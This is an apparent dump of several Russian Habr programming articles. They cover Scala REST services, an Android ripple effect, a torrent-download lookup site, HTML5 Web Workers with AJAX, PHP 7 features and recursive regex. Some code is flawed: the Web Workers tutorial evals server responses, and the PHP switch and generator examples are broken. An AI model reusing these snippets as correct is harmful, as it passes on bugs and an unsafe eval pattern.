val orderBy = (params.get("orderby") ∗ first orElse Some("id")) ∗ field.lift
val order = (params.get("order") ∗ first orElse Some("asc")) ∗ ordering.lift
val pageNum = params.get("pagenum") ∗ (first ~> int)
val pageSize = params.get("pagesize") ∗ (first ~> int)
val offset = ^(pageNum, pageSize)(_ * _)
val query = from(DB.customer) {
q => select(q) orderBy ^(orderBy, order)(_ andThen _ apply q).toList
}
val pagedQuery = ^(offset, pageSize)(query.page) getOrElse query
ResponseJson(pagedQuery.toList)
}
case _ => Pass
}
```
Часть, относящаяся к POST-запросу не несёт в себе ничего нового, а вот дальше нам приходится обрабатывать параметры запроса и появляется два непонятных символа: `∗` и `^`. Первый (аккуратно, не спутайте его c обычной звёздочкой `*`) является синонимом к `flatMap` и отличается от `map` тем, что применяемая функция тоже должна возвращать `Option`. Таким образом мы можем последовательно выполнить несколько операций, каждая из которых либо успешно возвращает значение, либо возвращает `None` в случае ошибки. Второй оператор чуть сложнее и позволяет выполнить какую-то операцию только если все используемые переменные не равны `None`. Это позволяет нам выполнять сортировку только если указаны и колонка и направление, а разбивать результат на страницы только если заданы и номер страницы и её размер.
Вот собственно и всё, осталось только запустить сервер
```
Http(8080).plan(service).run()
```
и можно брать в руки curl, что бы проверить что всё работает.
#### Заключение
На мой взгляд, получившийся код web-сервиса компактен и довольно легко читается, а это очень важное свойство. Естественно, он не идеален: например, для обработки ошибок наверное стоило использовать `scala.Either` или `scalaz.Validation`, а кому-то может не понравиться использование юникодных операторов. Кроме того, за внешней простотой иногда могут скрываться достаточно сложные операции, и что бы понять как всё устроено «под капотом» придётся поднапрячь извилины. Тем не менее, я надеюсь что эта статья побудит кого-нибудь присмотреться к Scala повнимательнее: даже если у вас не получится применить этот язык в работе, вы наверняка узнаете что-то новое.
Код, как и положено, выложен на [GitHub](https://github.com/rtimush/simple-rest/blob/master/src/main/scala/com/rtimushev/demo/rest/Boot.scala), и от приведённого в статье он отличается только наличием import-ов и sbt-скрипта для сборки.
Чуть не забыл — я в самом начале статьи обещал, что в вёб сервисе будут монады и прочая нечисть. Так вот, `flatMap` (он же `∗`) это монадический bind, а оператор `^` имеет непосредственное отношение к аппликативным функторам.
Ну и напоследок, если вы находитесь в Харькове или Саратове и хотите разрабатывать интересные вещи, используя Scala и Akka, пишите — мы ищем грамотных специалистов. | https://habr.com/ru/post/150199/ | null | ru | null |
# Простой Ripple эффект своими руками для Android
Любой Android разработчик работал с кнопками, поэтому видел **ripple** эффект и всю его красоту.
Иногда хочется реализовать что-нибудь кастомное нежели стандартные вещи, которые уже предоставляются компонентами **Material Design**.
Поэтому я решил написать наследник `AppCompatImageView` и сделать для него свой ripple эффект с минимальным количеством кода.
Здесь вы можете посмотреть [как это выглядит.](https://www.youtube.com/watch?v=TXt2rJGlqZY)
Сразу выкладываю код:
```
private class RippleAnimator(private var radius: Float, private var delay: Long) {
private val animators = mutableListOf()
private var isRunning: Boolean = false
fun changeRippleRadius(radius: Float) {
this.radius = radius
}
fun changeDelay(delay: Long) {
this.delay = delay
}
fun start(updateListener: ValueAnimator.AnimatorUpdateListener) {
val anim = ValueAnimator.ofFloat(0f, radius)
anim.addUpdateListener(updateListener)
anim.doOnStart { isRunning = true }
anim.doOnEnd { isRunning = false }
anim.duration = delay
animators.firstOrNull()?.cancel()
animators.clear()
animators.add(anim)
anim.start()
}
fun stop(after: () -> Unit) {
if (isRunning) {
animators.firstOrNull()?.doOnEnd {
after()
}
} else {
after()
}
}
}
class RippleImageButton @JvmOverloads constructor(
ctx: Context,
attrs: AttributeSet? = null,
defStyleAttr: Int = 0
) : AppCompatImageView(ctx, attrs, defStyleAttr) {
private var radius: Float = 0f
private var initial: Float = 0f
private var pointX = 0f
private var pointY = 0f
private val paint = Paint(Paint.ANTI\_ALIAS\_FLAG)
private val rippleAnimator = RippleAnimator(0f, 300L)
init {
isClickable = true
changeRippleColor(Color.GREEN)
}
fun changeRippleDuration(duration: Long) {
rippleAnimator.changeDelay(duration)
}
fun changeRippleColor(color: Int) {
paint.color = Color.argb(90, Color.red(color), Color.green(color), Color.blue(color))
}
override fun onSizeChanged(w: Int, h: Int, oldw: Int, oldh: Int) {
super.onSizeChanged(w, h, oldw, oldh)
rippleAnimator.changeRippleRadius(w \* 2f)
radius = w \* 2f
}
override fun onTouchEvent(event: MotionEvent): Boolean {
when (event.action) {
MotionEvent.ACTION\_DOWN -> {
pointX = event.x
pointY = event.y
rippleAnimator.start {
initial = it.animatedValue as Float
invalidate()
}
}
MotionEvent.ACTION\_UP -> {
rippleAnimator.stop {
initial = 0f
invalidate()
}
}
}
return true
}
override fun onDraw(canvas: Canvas) {
super.onDraw(canvas)
canvas.drawCircle(pointX, pointY, initial, paint)
}
}
```
Прошу прощения, что без пояснений, добавлю если кто-нибудь не разберется :)
Основная проблема заключается в создании маленькой длительности и возможности отменять предыдущий **ripple** эффект при повторном нажатии.
`RippleImageButton` далеко не является идеальным и не соотвествует **Material Design** стандартам, я лишь хотел показать возможность такого варианта.
Всем хорошего кода :) | https://habr.com/ru/post/577680/ | null | ru | null |
# Посмотри, что ты скачал в торрентах
«Здравствуй, пират! Твой IP-адрес есть в нашей базе данных. Любишь скачивать торренты, правда? По крайней мере, кто-то в твоём доме точно любит. Судя по нашим записям, ты скачал несколько файлов в последнее время. Внизу ты видишь табличку с некоторыми примерами», — такими словами приветствует посетителей новый веб-сервис [YouHaveDownloaded.com](http://www.youhavedownloaded.com/), созданный нашими соотечественниками. Ведущие разработчики Руслан К. и Илья Р. (на фото) на всякий случай скрывают свои фамилии, мало ли что.
Сервис позволяет посмотреть список скачанных файлов по заданному IP-адресу. Чтобы избежать наложений из-за динамических IP, якобы учитываются временные метки и уникальные метки компьютеров из DHT, но сидящие за NAT могут чувствовать себя в безопасности.
«Пугалку» от сервиса вы можете вставить на своём сайте, так что каждый посетитель увидит, какие торренты он скачал в последнее время.
```
[](http://www.youhavedownloaded.com/)
```
На данный момент в базе 51,7 млн юзеров. Сервис носит исключительно информационный характер, они не предъявляют к пиратам никаких претензий и даже разрешают «удалить» себя из базы. Пользователь должен залогиниться через Facebook, указать фамилию и адрес электронной почты, а также подписаться под заявлением, что он действительно скачал данные файлы; при этом сервис не гарантирует, что «удалённая» информация не появится в какой-нибудь другой базе данных.
С точки зрения параноика, схема очевидна: подтверждённые данные владельцы сервиса могут продавать в RIAA/MPAA и другие организации, которые займутся выжиманием денег из реальных людей, которые сами себя идентифицировали. В России это пока неактуально, но на американских и европейских пользователях разработчики сайта могут неплохо заработать.
Но в реальности сложно представить, что этот сайт ставит целью заработать денег, скорее это похоже на какой-то прикол (в футере даже напечатан девиз “Don’t take it seriously”). Хотя, владельцем сервиса является американская компания [XMLSHOP LLC](http://habrahabr.ru/users/XMLshop/), они вполне могут провернуть какую-то схему. | https://habr.com/ru/post/134374/ | null | ru | null |
# HTML5: Web Workers и AJAX
Все прочнее в среду разработчиков входит HTML5. Важным его достоинством является наличие такой технологии, как web workers, которая позволяет в некоторой степени обеспечить, если не мультипоточность, то ее подобие при выполнении скриптов.
Суть технологии проста — в отдельные файлы выносятся функции, обеспечивающие функционирование AJAX, либо функции обрабатывающие большие массивы информации, которые во время работы уменьшают скорость построения страницы. Таких файлов может быть столько сколько нужно. При выполнении скрипта на стороне браузера создается специальный объект Worker, который и отвечает за вызов необходимых функций. Многие современные браузеры поддерживают данную технологию.
Теперь о том, как использовать работников.
Проверим поддержку объекта браузером:
```
if (!!window.Worker)
{
//технология поддерживается
}
```
Создается объект очень просто:
```
var worker = new Worker(имя файла с исполняемой функцией);
```
созданный нами объект обладает следующими методами:
postMessage(); //ключевой метод, инициализирующий обмен данными
onmessage(); //метод, исполняемый при поступлении ответа от вызванного работника.
onerror(); //метод, вызываемый при возникновении ошибок
Теперь сделаем сам файлик worker`а и назовем его worker.js. Внутрь поместим следующий код:
```
onmessage = function(ev)
{
var answ = ev.data;
};
```
Объект и файл у нас есть, теперь остается только его вызвать делается это так:
```
var worker = new Worker('worker.js');
worker.postMessage('Hello World');
```
Переменная ev будет содержать объект, в свойстве data, которого будет находится то, что мы передадим в функцию, в нашем случае строка 'Hello World'. Передавать можно что угодно, в том числе сложные объекты. Теперь сделаем, чтобы наш работник, что-нибудь нам вернул. Для этого в код работника последней строкой допишем следующее:
```
postMessage(answ);
```
А в основном скрипте определим метод, который будет вызван при поступлении сообщения от работника:
```
worker.onmessage = function (event)
{
alert(event.data);
};
```
**UPD:**
Дополнение от [demark](https://habrahabr.ru/users/demark/):
Ещё надо добавить, что HTML5 позволяет создать Web Worker и без внешнего файла с помощью
blobBuilder'а:
```
var worker = new Worker(
window.URL.createObjectURL(
new BlobBuilder().append(
"onmessage = function(e) { postMessage('hello habrahabr'); }"
).getBlob()
)
);
worker.postMessage();
```
Вот собственно и все! Вернуть работник нам также сможет любые данные. Стоит помнить о нескольких важных моментах, таких как:
1. Работник не может получить доступ к DOM ни в каком виде. Ни одна функция работающая с DOM получающая данные о его состоянии или модифицирующая его, внутри работника недоступна. В том числе alert().
2. Работник имеет доступ к:
2.1 navigator
2.2 объект location (только чтение)
2.3 метод importScripts() (для доступа к файлам сценариев в том же домене)
2.4 объекты JavaScript, такие как Object, Array, Date, Math, String
2.5 XMLHttpRequest
2.6 методы setTimeout() и setInterval()
Так в чем же собственно мультипоточность? А в том, что объектов работников может быть сколько угодно и все они могут работать одновременно, при этом формирование страницы не будет остановлено, в ожидании пока отработает, какая-либо функция.
**А теперь о важном, о том, чего нет ни в одной статье про работников: для того чтобы получить адекватный ответ при использовании технологии AJAX, необходимо отсылать СИНХРОННЫЕ запросы методом POST**. Причина проста: при асинхронном запросе воркер заканчивает работу не дожидаясь ответа сервера. Логического объяснения почему не шлется методом GET я так и не нашел. Беспокоиться о том, что все встанет, не стоит, так как работник выполняется в отдельном потоке, основной скрипт будет работать дальше без остановок.
При использовании технологии воркеров для выполнения простых действий выигрыш в скорости будет минимален. Однако при сложных вычислениях можно существенно ускорить работу системы.
Приведу свою реализацию данного подхода:
1.
объект отвечающий за связь с сервером:
```
function AJAXprov()
{
var xmlhttp;
var answServ;
this.provXmlHttp = function()
{
var xmlhttp;
try
{
xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
}
catch (e)
{
try
{
xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');
}
catch (E)
{
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpRequest!='undefined')
{
xmlhttp = new XMLHttpRequest();
}
return xmlhttp;
}
//первый - режим работы false/true (синх/асинх),
//второй - тип запроса (POST/GET)
//третий - параметры для запроса (адрес, по которому нужно отправить запрос,
//четвертый - необязательный аргумент, содержащий параметры для POST запроса
this.sendAnsServ = function (modeWork, typeSend, adr, param, id, cb)
{
if(typeSend == 'G')
{
adr = adr + '?' + param;
//alert(adr);
httpP.open('GET', adr, modeWork);
httpP.setRequestHeader('Cache-Control', 'no-cache, must-revalidate');
httpP.onreadystatechange = function()
{
if (httpP.readyState == 4)
{
if(httpP.status == 200)
{
if(cb)
{
return httpP.responseText;
}
}
}
}
httpP.send(null);
}
if(typeSend == 'P')
{
httpP.open('POST', adr, modeWork);
httpP.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
httpP.setRequestHeader('Cache-Control', 'post-check=0,pre-check=0, false');
httpP.setRequestHeader('Cache-Control', 'max-age=0, false');
httpP.setRequestHeader('Pragma', 'no-cache');
httpP.setRequestHeader('Cache-Control', 'no-cache, must-revalidate');
httpP.send(param);
if(httpP.status == 200)
{
if(cb)
{
return httpP.responseText;
}
}
}
}
}
```
2.
Воркер
```
onmessage = function (obj)
{
importScripts("/JS/classes/AjaxClass.js ");
var ajObj = new AJAXprov();
httpP = ajObj.provXmlHttp();
obj = obj.data;
answ = ajObj.sendAnsServ(objEx.mode, objEx.type, objEx.adress, objEx.parametrs, objEx.ID);
postMessage(answ);
}
```
вызов:
```
function crWorkerAjax(param, id, cb)
{
var workerAjax = new Worker("/JS/workers/ajaxWorker.js");
var objEx =
{
mode:false,
type:'P',
adress:'/router.php',
parametrs:param,
ID:id,
};
workerAjax.onmessage = function (obj)
{
var res = eval(obj['data']);
cb.call(this, res, id);
}
workerAjax.onerror = function(err)
{
alert(err.message);
}
workerAjax.postMessage(objEx);
}
```
UPD2:
По настойчивым просьбам [yui\_room9](https://habrahabr.ru/users/yui_room9/) привожу его альтернативный вариант **работающий в браузерах на webkit**
Для основного файла:
```
if (!!window.Worker){
var worker = new Worker('worker.js');
worker.postMessage('Hellow World');
worker.onmessage = function (e){
alert(e.data);
};
}
Для worker:
onmessage = function(e){
transport = new XMLHttpRequest();
transport.open('GET', 'data.txt', true);
transport.onreadystatechange = function(){
if(transport.readyState == 4){
postMessage(transport.response);
}
};
transport.send();
};
```
Ну а в data.txt пихаем просто текст на тест, я пихал «testing123»
Всех, кто дочитал, благодарю за внимание. | https://habr.com/ru/post/132785/ | null | ru | null |
# Введение в PHP 7: Что добавлено, что убрано
Одним из самых значительных событий, произошедших в мире PHP в 2015 году, стал выпуск PHP 7. Целых 10 лет отделяют его от выпуска первого релиза PHP с номером 5. С увеличением первой цифры в номере версии, в PHP 7 появилась масса новшеств, увеличилась и скорость работы.
Однако в седьмой версии была убрана устаревшая функциональность, что привело к некоторым проблемам с обратной совместимостью, затруднив перевод старых приложений на новую версию. Эта статья может послужить вам кратким руководством, если вы планируете написание новых или перевод своих существующих приложений на PHP 7.
Постойте, а где же PHP 6?
-------------------------
Если вы какое-то время не работали с PHP, вы можете удивиться, куда же пропал PHP 6, почему мы перепрыгнули с PHP 5 сразу на PHP 7? Что ж, я буду краток, выпуск PHP шестой версии не состоялся. Главной особенностью версии 6 была поддержка символов Unicode, поскольку в основном PHP используется в веб-разработке, вебу же нужна поддержка Unicode, поэтому её реализация имела смысл.
Идея была в том, чтобы реализовать поддержку Unicode непосредственно в ядре. Такой подход должен был расширить возможности языка — от использования глупых эмоджи в качестве имен переменных и функций, до мощной функциональности интернациональных строк. Например, в случае, когда другой язык использует заглавные и прописные буквы отлично от английского языка или же при конвертации имени на китайском в имя на английском языке.
> PHP6 был амбициозным, но отстойным. Посему мы занялись PHP7, в процессе пропустив шестую версию.
К сожалению, этот амбициозный план имел куда больше проблем, чем ожидалось. Большая часть кодовой базы должна была быть портирована для поддержки Unicode, как в случае ядра, так и в случае важных расширений, что оказалось утомительным и непростым делом. Это замедлило процесс разработки других возможностей языка, что расстроило многих PHP-разработчиков. Появились и другие барьеры, что привело к падению интереса к разработке встроенной поддержки Unicode, а со временем проект и вовсе оказался заброшенным.
А поскольку масса ресурсов, таких как книги и статьи, были написаны с использованием названия PHP 6 и поддержки Unicode, новой версии было решено присвоить имя PHP 7 — просто для того, чтобы избежать недопонимания.
Как бы там ни было, хватит копаться в мрачном прошлом. Давайте взглянем на то, что нового у нас появилось в PHP 7.
Войны за производительность, PHP 7 vs. PHP 5
--------------------------------------------
Практически все обновления привносили небольшие улучшения производительности. Однако на этот раз производительность PHP, по сравнению с более ранними версиями, выросла куда более существенно, став одной из наиболее привлекательных особенностей PHP 7. Это было частью проекта “PHPNG” (“php new generation” или “php нового покления”, — *прим. переводчика*), затронувшего собственно сам Zend Engine.
Рефакторинг внутренних структур данных и добавление дополнительного этапа перед компиляцией кода в виде абстрактного синтаксического дерева — Abstract Syntax Tree (AST), привели к превосходной производительности и более эффективному распределению памяти. Цифры сами по себе выглядят многообещающе — тесты, выполненные на реальных приложениях показывают, что PHP 7 в среднем вдвое быстрее PHP 5.6, а также использует на 50% меньше памяти вовремя обработки запросов, что делает PHP 7 сильным соперником для компилятора HHVM JIT от Facebook. Взгляните [на эту инфографику](http://www.zend.com/en/resources/php7_infographic) от Zend, которая отображает производительность для некоторых общеизвестных CMS и фреймворков.
> PHP 7 выглядит знакомо, но он “заточен” под производительность. Усовершенствованный Zend Engine и итоговый прирост производительности привели к огромной разнице между ним и предыдущей версией.
>
>
Уменьшение потребления памяти позволяет более слабым компьютерам лучше обрабатывать запросы, предоставляя возможность выстраивания микросервисов вокруг PHP. Внутренние изменения, в частности реализация AST, также открывает возможности для будущих оптимизаций, которые могут ещё больше увеличить производительность. Новая собственная реализация JIT-компилятора разработана с намерением развития в будущих версиях.
Синтаксический сахар в PHP 7
----------------------------
В PHP 7 появилось несколько новых синтаксических штучек. Почему бы и не расширить некоторые возможности самого языка, если они предлагают лучший или более легкий способ написания приятного глазу кода?
### Группировка объявлений импорта
Теперь мы можем группировать объявления импорта классов, находящихся в одном пространстве имён, в одной строке. Это поможет нам выровнять декларации неким, наделенным смыслом, образом или же просто сэкономит пару байт вашего кода.
```
use Framework\Module\Foo;
use Framework\Module\Bar;
use Framework\Module\Baz;
```
В PHP 7 можно написать:
```
use Framework\Module\{Foo, Bar, Baz};
```
Или же, если вы предпочитаете многострочный стиль:
```
use Framework\Module{
Foo,
Bar,
Baz
};
```
### Null-коалесцентный оператор
Решает распространенную проблему в PHP. Она возникает в случае, если мы хотим присвоить значение переменной, которое присвоено другой переменной, но если последней переменной значение не было присвоено, то присвоить некое явное значение. Часто проявляется при работе с пользовательским вводом.
До PHP 7:
```
if (isset($foo)) {
$bar = $foo;
} else {
$bar = 'default'; // присваиваем $bar значение 'default' если $foo равен NULL
}
```
В PHP 7:
```
$bar = $foo ?? 'default';
```
Можно использовать с цепочкой переменных:
```
$bar = $foo ?? $baz ?? 'default';
```
### Оператор “космический корабль”
Оператор “космический корабль” <=> позволяет проводить трехуровневое сравнение двух значений, позволяя понимать не только их равенство или неравенство, но и то, которое из них больше при неравенстве, возвращая 1,0 или -1.
В этом случае мы можем предпринимать различные действия в зависимости от того, как различаются значения:
```
switch ($bar <=> $foo) {
case 0:
echo '$bar и $foo равны';
case -1:
echo '$foo больше';
case 1:
echo '$bar больше';
}
```
Сравниваемые значения могут иметь тип integer, float, string и даже быть массивами. Как разные значения сравниваются друг с другом? [Смотрите в документации](https://wiki.php.net/rfc/combined-comparison-operator).
Новое в PHP 7
-------------
Конечно, в PHP 7 появилась новая, впечатляющая функциональность.
### Типы скалярных параметров и подсказки (hints) по возвращаемым типам
В PHP 7 расширили ранее существовавшее объявление параметров в методах (классах, интерфейсах и массивах) путем добавления четырех скалярных типов — целого (int), с плавающей запятой (float), логического (bool) и строкового (string) в качестве возможного типа параметра.
Кроме того, опционально мы можем указать тип результата, возвращаемого функцией или методом. Поддерживаются типы bool, int, float, string, array, callable, имя класса или интерфейса и parent (для методов класса).
```
class Calculator
{
// объявляем, что параметры имеют целый тип integer
public function addTwoInts(int $x, int $y): int {
// явно объявляем, что метод возвращает целое
return $x + $y;
}
}
```
Объявление типов позволит строить прозрачные приложения, избегая передачи и возврата неверных значений при работе с функциями. Другие плюсы — появление анализаторов статического кода и IDE, предлагающих более ясное отображение кода при отсутствии документирующих примечаний DocBlocks.
Поскольку PHP слабо типизированный язык, некоторые значения параметров и возвращаемых типов будут приводиться исходя из контекста. Если мы передаем значение “3” в функцию, имеющую объявленный параметр типа int, интерпретатор будет рассматривать его как целое и не сгенерирует ошибку. Если вас не устраивает такое поведение, вы можете работать в строгом режиме — **strict mode** — путем добавки соответствующей директивы.
```
declare(strict_types=1);
```
Она устанавливается отдельно для каждого файла, поскольку глобальная опция разделила бы хранилища кода на такие, в которых файлы разрабатывались с включенной опцией и те, где она была отключена, что привело бы к непредсказуемому поведению при работе с кодом из двух хранилищ с разными настройками.
### Исключения движка
С появлением исключений уровня ядра, фатальные ошибки, которые ранее могли привести к остановке выполнения скрипта, теперь могут быть легко перехвачены и обработаны.
Ошибки, такие как вызов несуществующего метода, теперь не остановят скрипт, вместо этого будет сгенерировано исключение, которое можно обработать в блоке **try catch**, что явно улучшает обработку ошибок в вашем приложении. Это важно для некоторых типов приложений, серверов и демонов, поскольку фатальные ошибки, в противном случае, вполне могли привести к необходимости их рестарта. Тесты в PHPUnit также должны стать более удобными в использовании, поскольку фатальные ошибки могли уронить весь тестировочный проект. Исключения, в отличие от ошибок, могут быть обработаны для каждого теста отдельно.
> PHP 7 выглядит и ощущается знакомым инструментом, но он нацелен на высокую производительность. Переработанный Zend Engine и прирост скорости работы приводят к большим отличиям от предыдущей версии.
В PHP 7 появилось достаточно много новых классов исключений, призванных обрабатывать типы ошибок, с которыми вы можете столкнуться. Для обеспечения совместимости между версиями, добавлен новый интерфейс **Throwable**, он может быть реализован как исключениями уровня ядра, так и пользовательскими исключениями. Такой подход реализован с целью недопущения наследования базового класса исключений исключениями ядра, что привело бы к появлению исключений в прежде написанном коде, которых ранее не было.
До PHP 7 такой код привел бы к фатальной ошибке исполнения скрипта:
```
try {
thisFunctionDoesNotEvenExist(); //ЭтаФункцияДажеНеСуществует()
} catch (\EngineException $e) {
// Подчищаем за собой и записываем информацию об ошибке в лог
echo $e->getMessage();
}
```
### Анонимные классы
Анонимные классы — двоюродные братья анонимных функций, которые вы могли использовать при создании функциональности коротких и ясных объектов. Анонимные классы легко создаются и используются так же, как и обычные объекты. Вот пример из документации.
До PHP 7:
```
class MyLogger {
public function log($msg) {
print_r($msg . "\n");
}
}
$pusher->setLogger( new MyLogger() );
```
Использование анонимного класса:
```
$pusher->setLogger(new class {
public function log($msg) {
print_r($msg . "\n");
}
});
```
Анонимные классы полезны при тестировании юнитами, в частности при мокинге (имитации поведения реального объекта — прим. переводчика) при тестировании объектов и сервисов. Их наличие позволит нам избежать использования больших мокинг-библиотек и фреймворков путем создания простого объекта, поддерживающего интерфейс, который мы можем использовать для мокинга.
### Функции CSPRNG
Две новых функции для генерации крипографически безопасной строки и целых. Первая возвращает случайную строку длиной $len:
```
random_bytes(int $len);
```
Вторая возвращает число в диапазоне $min… $max.
```
random_int(int $min, int $max);
```
### Синтаксис Escape-кода для Unicode
В отличие от многих других языков, до PHP версии 7, в PHP не было способа указать в строке escape-последовательность для Unicode символа. Теперь с помощью escape-последовательности \u можно генерировать такие символы с помощью их кода из набора UTF-8. Это лучше, чем непосредственная вставка символов, лучше контролируются невидимые символы и символы, имеющие графическое отображение отличное от значения:
```
echo "\u{1F602}"; // выводит смайлик
```
Помните, что код, ранее работавший и использовавший пару символов \u, не будет корректно работать в версии 7 из-за изменившегося поведения.
### Обновленные генераторы
Генераторы в PHP тоже получили несколько приятных новых возможностей. Теперь у них появился оператор return, который может быть использован для выдачи некоторого финального значения, актуального на момент завершения итерации. Его можно использовать для проверки корректности выполнения генератора. Например, узнать, выполнился ли он без ошибок, что позволит коду, вызвавшему генератор, корректно обработать любую возникшую ситуацию.
Больше того, генераторы могут возвращать и выдавать выражения из других генераторов. Таким образом, можно разбивать сложные операции на более простые.
```
function genA() {
yield 2;
yield 3;
yield 4;
}
function genB() {
yield 1;
yield from genA(); // 'genA' вызывается и отрабатывает в этом месте
yield 5;
return 'success'; // финальный результат, который мы позже можем проверить
}
foreach (genB() as $val) {
echo "\n $val"; // выдаст значения от 1 до 5
}
$genB()->getReturn(); // вернет 'success' при отсутствии ошибок
```
### Ожидания (expectations)
Ожидания (expectations) — улучшение функции assert() с сохранением обратной совместимости. Они позволяют использовать утверждения с нулевой стоимостью (zero-cost assertions) в рабочем коде и поддерживают возможность генерации пользовательского исключения при возникновении ошибки при отработке утверждения, что может быть полезно при разработке.
Функция **assert()** стала языковой конструкцией в PHP 7. Утверждения должны быть использованы только во время разработки и тестирования с целью отладки. Для настройки её поведения мы должны использовать две директивы.
* zend.assertions
1: генерируем и выполняем код (режим разработки) (значение по умолчанию)
0: генерирует код, но обходит его во время выполнения
-1: не генерирует код, делая его кодом с нулевой стоимостью (режим рабочего кода)
* assert.exception
1: генерируется при ошибке утверждения путем создания соответствующего объекта исключения или же путем генерации объекта AssertionError, если такой объект не был создан
0: использует или генерирует Throwable так, как было описано выше, но генерируется только предупреждение (warning) на базе того объекта, а не генерация исключения с его помощью (поведение, совместимое с PHP 5)
Готовимся к переходу от PHP 5 к PHP 7
-------------------------------------
Появление версии PHP с номером 7 предоставило возможность изменения/обновления и даже удаления функциональности, которая считалась устаревшей или, некоторое время, уже ненужной. Такие изменения могут привести к проблемам с обратной совместимостью старых приложений.
Другая проблема, возникающая при появлении подобных версий, заключается в том, что библиотеки и фреймворки, которые для вас важны, могут не иметь обновлений, совместимых с новым релизом. Команда разработчиков PHP пыталась вносить изменения как можно в более высокой степени сохранив обратную совместимость для того, чтобы миграция на новую версию была как можно менее трудоёмкой. Относительно новые и вовремя обновляемые приложения, скорее всего, будет проще перевести на седьмую версию, тогда как для старых приложений необходимо взвешенное решение — стоят ли потраченные усилия полученных возможностей или же лучше и вовсе не обновляться.
Большая часть проблем невелики и могут быть легко устранены, в то время как другие могут потребовать куда больше времени и усилий. В целом, если вы видели предупреждения об использовании устаревших функций до установки PHP 7, то вы, скорее всего, увидите сообщения об ошибках, которые прекратят выполнение вашего приложения до их устранения.
Вас предупредили, так ведь?
### Старые SAPI и расширения
Куда важнее тот факт, что были убраны старые и ненужные SAPI, такие как расширение mysql (но вы же его уже не используете, так?). Полный список расширений и возможностей, которые были удалены, вы можете посмотреть [здесь](https://wiki.php.net/rfc/removal_of_dead_sapis_and_exts) и [здесь](https://wiki.php.net/rfc/remove_deprecated_functionality_in_php7).
Другие расширения и SAPI были портированы на PHP 7.
> Очень много старых SAPI и расширений было убрано из PHP 7. Мы считаем, что за ними скучать не станут.
### Однообразный синтаксис описания переменных
Это обновление привнесло некоторые изменения в части согласованности для конструкций переменная-переменная. Оно позволит использовать более прогрессивные выражения с переменными, что, в отдельных случаях, приведет к изменению поведения кода, как показано ниже:
```
// старый смысл // новый смысл
$$foo['bar']['baz'] ${$foo['bar']['baz']} ($$foo)['bar']['baz']
$foo->$bar['baz'] $foo->{$bar['baz']} ($foo->$bar)['baz']
$foo->$bar['baz']() $foo->{$bar['baz']}() ($foo->$bar)['baz']()
Foo::$bar['baz']() Foo::{$bar['baz']}() (Foo::$bar)['baz']()
```
Это изменит поведение приложений, получающих доступ к переменным указанным способом. С другой стороны, вы сможете выделывать вот такие фокусы:
```
// вложенный ()
foo()(); // Calls the return of foo()
$foo->bar()();
//IIFE (Immediately-invoked function expression или немедленно вызываемое выражение функции) синтаксис как в JavaScript
(function() {
// тело функции
})();
// Вложенный ::
$foo::$bar::$baz
```
### Убраны тэги в старом стиле
Убраны или более некорректны открывающие/закрывающие тэги
```
<% ... %>, <%= ... %>, ...
```
Заменить их на корректные легко, но их использование в наше время выглядит несколько странно, не так ли?
### Некорректные имена для классов, интерфейсов, трейтов
В результате добавлений, таких как типы возвращаемых значений и параметров, классы, интерфейсы и трейты больше не могут именоваться такими именами:
* bool
* int
* float
* string
* null
* true
* false
Подобное именование может привести к некорректной работе существующих приложений и библиотек, но легко поддаётся исправлению. Следующие имена тоже нежелательно использовать в выше названном качестве, поскольку они зарезервированы на будущее:
* resource
* object
* mixed
* numeric
Воздержитесь от использования этих слов в качестве имен, и вы сэкономите себе время впоследствии.
Полный список изменений, приводящий к несовместимости, можно [посмотреть здесь](http://php.net/manual/en/migration70.incompatible.php).
Также вы можете использовать [php7cc](https://github.com/sstalle/php7cc), этот инструмент проверит ваш код и отобразит потенциальные проблемы, которые могут возникнуть при переходе на PHP 7.
Но нет пути лучше, чем установить PHP 7 и увидеть всё воочию.
Потенциальные проблемы совместимости PHP 7
------------------------------------------
### Совместимость инфраструктуры PHP 7
Многие сервисы хостинга добавили поддержку PHP 7. Это хорошая весть для провайдеров shared-хостинга, поскольку возросшая производительность позволит им увеличить число клиентских веб-сайтов без обновления железа, уменьшив текущие расходы и увеличив доходы. Что до клиентов, то они не должны ожидать резкого увеличения производительности в этих условиях, да и, говоря откровенно, shared-хостинг в любом случае не опция в случае приложения, ориентированного на производительность.
С другой стороны, сервисы, предлагающие частные виртуальные сервера или выделенные сервера, получат все прелести роста производительности. Некоторые [PaaS-сервисы](https://en.wikipedia.org/wiki/Platform_as_a_service), такие как Heroku, давно поддерживают PHP 7, другие же, типа AWS Beanstalk и Oracle OpenShift, плетутся позади. Убедитесь на веб-сайте вашего PaaS-провайдера, есть ли у него поддержка PHP 7 или же она планируется в ближайшем будущем.
[IaaS-провайдеры](https://en.wikipedia.org/wiki/Cloud_computing#Infrastructure_as_a_service_.28IaaS.29) позволяют вам контролировать “железо” и устанавливать PHP 7 (или скомпилировать, если вам это больше нравится). Пакеты PHP 7 уже доступны для большинства IaaS-сред.
### Совместимость программного обеспечения с PHP 7
В довесок к совместимости с инфраструктурой, вам также необходимо помнить о потенциальных проблемах совместимости с программным обеспечением. Известные CMS типа WordPress, Joomla и Drupal уже добавили поддержку PHP 7. Основные фреймворки, такие как Symfony и Laravel тоже сделали это.
Однако пришло время предостережений. Эта поддержка не распространяется на код третьих лиц в виде дополнений, плагинов, пакетов и т.п., к чему обращается ваш CMS или фреймворк. Проблемы могут быть, и ваша задача заключается в том, чтобы убедиться — всё готово для работы под PHP 7.
Для активных, поддерживающихся репозиториев, это не должно быть проблемой. Но заброшенные репозитории без поддержки PHP 7 могут сделать всё ваше приложение непригодным к использованию.
### Будущее PHP
В PHP 7 был убран устаревший код, а также был дан зеленый свет новым возможностям и будущим улучшениям в области эффективности. Плюс, PHP вскоре должен получить оптимизацию производительности. Несмотря на частичную потерю обратной совместимости с предыдущими версиями, большинство возникающих проблем легко решаемы.
Библиотеки и фреймворки мигрируют на PHP 7, что приводит к появлению их новых версий. Я призываю вас попробовать семёрку и оценить полученные результаты. Может быть, ваше приложение уже совместимо с новой версией и готово работать на PHP 7, получая выгоды от его использования. | https://habr.com/ru/post/280071/ | null | ru | null |
# Рекурсия в регулярных выражениях
`str = "a * ((b-c)/(d-e) - f) * g"
reg = /(?
\(
(?:
(?>
\\[()]
|
[^()]
)
|
\g
)*
\)
)
\x
m=reg.match(str).to_a`
Что делает этот код под катом.
